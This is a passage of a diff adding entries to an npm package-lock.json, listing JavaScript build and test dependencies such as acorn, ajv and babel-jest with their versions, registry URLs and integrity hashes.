+    "node_modules/@webassemblyjs/wast-printer": {
+      "version": "1.12.1",
+      "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.12.1.tgz",
+      "integrity": "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA==",
+      "dependencies": {
+        "@webassemblyjs/ast": "1.12.1",
+        "@xtuc/long": "4.2.2"
+      }
+    },
+    "node_modules/@xtuc/ieee754": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
+      "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="
+    },
+    "node_modules/@xtuc/long": {
+      "version": "4.2.2",
+      "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
+      "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="
+    },
+    "node_modules/abab": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz",
+      "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA=="
+    },
+    "node_modules/accepts": {
+      "version": "1.3.8",
+      "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
+      "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
+      "dependencies": {
+        "mime-types": "~2.1.34",
+        "negotiator": "0.6.3"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/acorn": {
+      "version": "8.12.1",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.12.1.tgz",
+      "integrity": "sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg==",
+      "bin": {
+        "acorn": "bin/acorn"
+      },
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/acorn-globals": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz",
+      "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==",
+      "dependencies": {
+        "acorn": "^7.1.1",
+        "acorn-walk": "^7.1.1"
+      }
+    },
+    "node_modules/acorn-globals/node_modules/acorn": {
+      "version": "7.4.1",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
+      "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==",
+      "bin": {
+        "acorn": "bin/acorn"
+      },
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/acorn-import-attributes": {
+      "version": "1.9.5",
+      "resolved": "https://registry.npmjs.org/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz",
+      "integrity": "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==",
+      "peerDependencies": {
+        "acorn": "^8"
+      }
+    },
+    "node_modules/acorn-jsx": {
+      "version": "5.3.2",
+      "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
+      "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==",
+      "peerDependencies": {
+        "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      }
+    },
+    "node_modules/acorn-node": {
+      "version": "1.8.2",
+      "resolved": "https://registry.npmjs.org/acorn-node/-/acorn-node-1.8.2.tgz",
+      "integrity": "sha512-8mt+fslDufLYntIoPAaIMUe/lrbrehIiwmR3t2k9LljIzoigEPF27eLk2hy8zSGzmR/ogr7zbRKINMo1u0yh5A==",
+      "dependencies": {
+        "acorn": "^7.0.0",
+        "acorn-walk": "^7.0.0",
+        "xtend": "^4.0.2"
+      }
+    },
+    "node_modules/acorn-node/node_modules/acorn": {
+      "version": "7.4.1",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
+      "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==",
+      "bin": {
+        "acorn": "bin/acorn"
+      },
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/acorn-walk": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz",
+      "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==",
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/address": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/address/-/address-1.2.1.tgz",
+      "integrity": "sha512-B+6bi5D34+fDYENiH5qOlA0cV2rAGKuWZ9LeyUUehbXy8e0VS9e498yO0Jeeh+iM+6KbfudHTFjXw2MmJD4QRA==",
+      "engines": {
+        "node": ">= 10.0.0"
+      }
+    },
+    "node_modules/adjust-sourcemap-loader": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/adjust-sourcemap-loader/-/adjust-sourcemap-loader-4.0.0.tgz",
+      "integrity": "sha512-OXwN5b9pCUXNQHJpwwD2qP40byEmSgzj8B4ydSN0uMNYWiFmJ6x6KwUllMmfk8Rwu/HJDFR7U8ubsWBoN0Xp0A==",
+      "dependencies": {
+        "loader-utils": "^2.0.0",
+        "regex-parser": "^2.2.11"
+      },
+      "engines": {
+        "node": ">=8.9"
+      }
+    },
+    "node_modules/agent-base": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz",
+      "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==",
+      "dependencies": {
+        "debug": "4"
+      },
+      "engines": {
+        "node": ">= 6.0.0"
+      }
+    },
+    "node_modules/ajv": {
+      "version": "6.12.6",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+      "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.1",
+        "fast-json-stable-stringify": "^2.0.0",
+        "json-schema-traverse": "^0.4.1",
+        "uri-js": "^4.2.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/ajv-formats": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz",
+      "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==",
+      "dependencies": {
+        "ajv": "^8.0.0"
+      },
+      "peerDependencies": {
+        "ajv": "^8.0.0"
+      },
+      "peerDependenciesMeta": {
+        "ajv": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/ajv-formats/node_modules/ajv": {
+      "version": "8.11.0",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+      "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+      "dependencies": {
+        "fast-deep-equal": "^3.1.1",
+        "json-schema-traverse": "^1.0.0",
+        "require-from-string": "^2.0.2",
+        "uri-js": "^4.2.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/ajv-formats/node_modules/json-schema-traverse": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+      "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+    },
+    "node_modules/ajv-keywords": {
+      "version": "3.5.2",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
+      "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
+      "peerDependencies": {
+        "ajv": "^6.9.1"
+      }
+    },
+    "node_modules/ansi-escapes": {
+      "version": "4.3.2",
+      "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",
+      "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==",
+      "dependencies": {
+        "type-fest": "^0.21.3"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/ansi-html-community": {
+      "version": "0.0.8",
+      "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz",
+      "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==",
+      "engines": [
+        "node >= 0.8.0"
+      ],
+      "bin": {
+        "ansi-html": "bin/ansi-html"
+      }
+    },
+    "node_modules/ansi-regex": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz",
+      "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/ansi-styles": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "dependencies": {
+        "color-convert": "^1.9.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/anymatch": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz",
+      "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==",
+      "dependencies": {
+        "normalize-path": "^3.0.0",
+        "picomatch": "^2.0.4"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/arg": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
+      "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="
+    },
+    "node_modules/argparse": {
+      "version": "1.0.10",
+      "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+      "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+      "dependencies": {
+        "sprintf-js": "~1.0.2"
+      }
+    },
+    "node_modules/aria-query": {
+      "version": "4.2.2",
+      "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-4.2.2.tgz",
+      "integrity": "sha512-o/HelwhuKpTj/frsOsbNLNgnNGVIFsVP/SW2BSF14gVl7kAfMOJ6/8wUAUvG1R1NHKrfG+2sHZTu0yauT1qBrA==",
+      "dependencies": {
+        "@babel/runtime": "^7.10.2",
+        "@babel/runtime-corejs3": "^7.10.2"
+      },
+      "engines": {
+        "node": ">=6.0"
+      }
+    },
+    "node_modules/array-flatten": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz",
+      "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ=="
+    },
+    "node_modules/array-includes": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.5.tgz",
+      "integrity": "sha512-iSDYZMMyTPkiFasVqfuAQnWAYcvO/SeBSCGKePoEthjp4LEMTe4uLc7b025o4jAZpHhihh8xPo99TNWUWWkGDQ==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.19.5",
+        "get-intrinsic": "^1.1.1",
+        "is-string": "^1.0.7"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/array-union": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
+      "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/array.prototype.flat": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.0.tgz",
+      "integrity": "sha512-12IUEkHsAhA4DY5s0FPgNXIdc8VRSqD9Zp78a5au9abH/SOBrsp082JOWFNTjkMozh8mqcdiKuaLGhPeYztxSw==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.2",
+        "es-shim-unscopables": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/array.prototype.flatmap": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.0.tgz",
+      "integrity": "sha512-PZC9/8TKAIxcWKdyeb77EzULHPrIX/tIZebLJUQOMR1OwYosT8yggdfWScfTBCDj5utONvOuPQQumYsU2ULbkg==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.2",
+        "es-shim-unscopables": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/array.prototype.reduce": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.4.tgz",
+      "integrity": "sha512-WnM+AjG/DvLRLo4DDl+r+SvCzYtD2Jd9oeBYMcEaI7t3fFrHY9M53/wdLcTvmZNQ70IU6Htj0emFkZ5TS+lrdw==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.2",
+        "es-array-method-boxes-properly": "^1.0.0",
+        "is-string": "^1.0.7"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/asap": {
+      "version": "2.0.6",
+      "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz",
+      "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA=="
+    },
+    "node_modules/ast-types-flow": {
+      "version": "0.0.7",
+      "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.7.tgz",
+      "integrity": "sha512-eBvWn1lvIApYMhzQMsu9ciLfkBY499mFZlNqG+/9WR7PVlroQw0vG30cOQQbaKz3sCEc44TAOu2ykzqXSNnwag=="
+    },
+    "node_modules/async": {
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/async/-/async-3.2.4.tgz",
+      "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ=="
+    },
+    "node_modules/asynckit": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
+      "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="
+    },
+    "node_modules/at-least-node": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz",
+      "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==",
+      "engines": {
+        "node": ">= 4.0.0"
+      }
+    },
+    "node_modules/atob": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz",
+      "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==",
+      "bin": {
+        "atob": "bin/atob.js"
+      },
+      "engines": {
+        "node": ">= 4.5.0"
+      }
+    },
+    "node_modules/autoprefixer": {
+      "version": "10.4.12",
+      "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.12.tgz",
+      "integrity": "sha512-WrCGV9/b97Pa+jtwf5UGaRjgQIg7OK3D06GnoYoZNcG1Xb8Gt3EfuKjlhh9i/VtT16g6PYjZ69jdJ2g8FxSC4Q==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/postcss/"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/autoprefixer"
+        }
+      ],
+      "dependencies": {
+        "browserslist": "^4.21.4",
+        "caniuse-lite": "^1.0.30001407",
+        "fraction.js": "^4.2.0",
+        "normalize-range": "^0.1.2",
+        "picocolors": "^1.0.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "bin": {
+        "autoprefixer": "bin/autoprefixer"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
+    "node_modules/axe-core": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.4.3.tgz",
+      "integrity": "sha512-32+ub6kkdhhWick/UjvEwRchgoetXqTK14INLqbGm5U2TzBkBNF3nQtLYm8ovxSkQWArjEQvftCKryjZaATu3w==",
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/axobject-query": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-2.2.0.tgz",
+      "integrity": "sha512-Td525n+iPOOyUQIeBfcASuG6uJsDOITl7Mds5gFyerkWiX7qhUTdYUBlSgNMyVqtSJqwpt1kXGLdUt6SykLMRA=="
+    },
+    "node_modules/babel-jest": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.5.1.tgz",
+      "integrity": "sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==",
+      "dependencies": {
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/babel__core": "^7.1.14",
+        "babel-plugin-istanbul": "^6.1.1",
+        "babel-preset-jest": "^27.5.1",
+        "chalk": "^4.0.0",
+        "graceful-fs": "^4.2.9",
+        "slash": "^3.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.8.0"
+      }
+    },
+    "node_modules/babel-jest/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/babel-jest/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/babel-jest/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/babel-jest/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/babel-jest/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/babel-jest/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/babel-jest/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/babel-jest/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/babel-jest/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/babel-loader": {
+      "version": "8.2.5",
+      "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.5.tgz",
+      "integrity": "sha512-OSiFfH89LrEMiWd4pLNqGz4CwJDtbs2ZVc+iGu2HrkRfPxId9F2anQj38IxWpmRfsUY0aBZYi1EFcd3mhtRMLQ==",
+      "dependencies": {
+        "find-cache-dir": "^3.3.1",
+        "loader-utils": "^2.0.0",
+        "make-dir": "^3.1.0",
+        "schema-utils": "^2.6.5"
+      },
+      "engines": {
+        "node": ">= 8.9"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0",
+        "webpack": ">=2"
+      }
+    },
+    "node_modules/babel-loader/node_modules/schema-utils": {
+      "version": "2.7.1",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz",
+      "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.5",
+        "ajv": "^6.12.4",
+        "ajv-keywords": "^3.5.2"
+      },
+      "engines": {
+        "node": ">= 8.9.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/babel-plugin-dynamic-import-node": {
+      "version": "2.3.3",
+      "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz",
+      "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==",
+      "dependencies": {
+        "object.assign": "^4.1.0"
+      }
+    },
+    "node_modules/babel-plugin-istanbul": {
+      "version": "6.1.1",
+      "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz",
+      "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.0.0",
+        "@istanbuljs/load-nyc-config": "^1.0.0",
+        "@istanbuljs/schema": "^0.1.2",
+        "istanbul-lib-instrument": "^5.0.4",
+        "test-exclude": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/babel-plugin-jest-hoist": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz",
+      "integrity": "sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==",
+      "dependencies": {
+        "@babel/template": "^7.3.3",
+        "@babel/types": "^7.3.3",
+        "@types/babel__core": "^7.0.0",
+        "@types/babel__traverse": "^7.0.6"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/babel-plugin-macros": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz",
+      "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==",
+      "dependencies": {
+        "@babel/runtime": "^7.12.5",
+        "cosmiconfig": "^7.0.0",
+        "resolve": "^1.19.0"
+      },
+      "engines": {
+        "node": ">=10",
+        "npm": ">=6"
+      }
+    },
+    "node_modules/babel-plugin-named-asset-import": {
+      "version": "0.3.8",
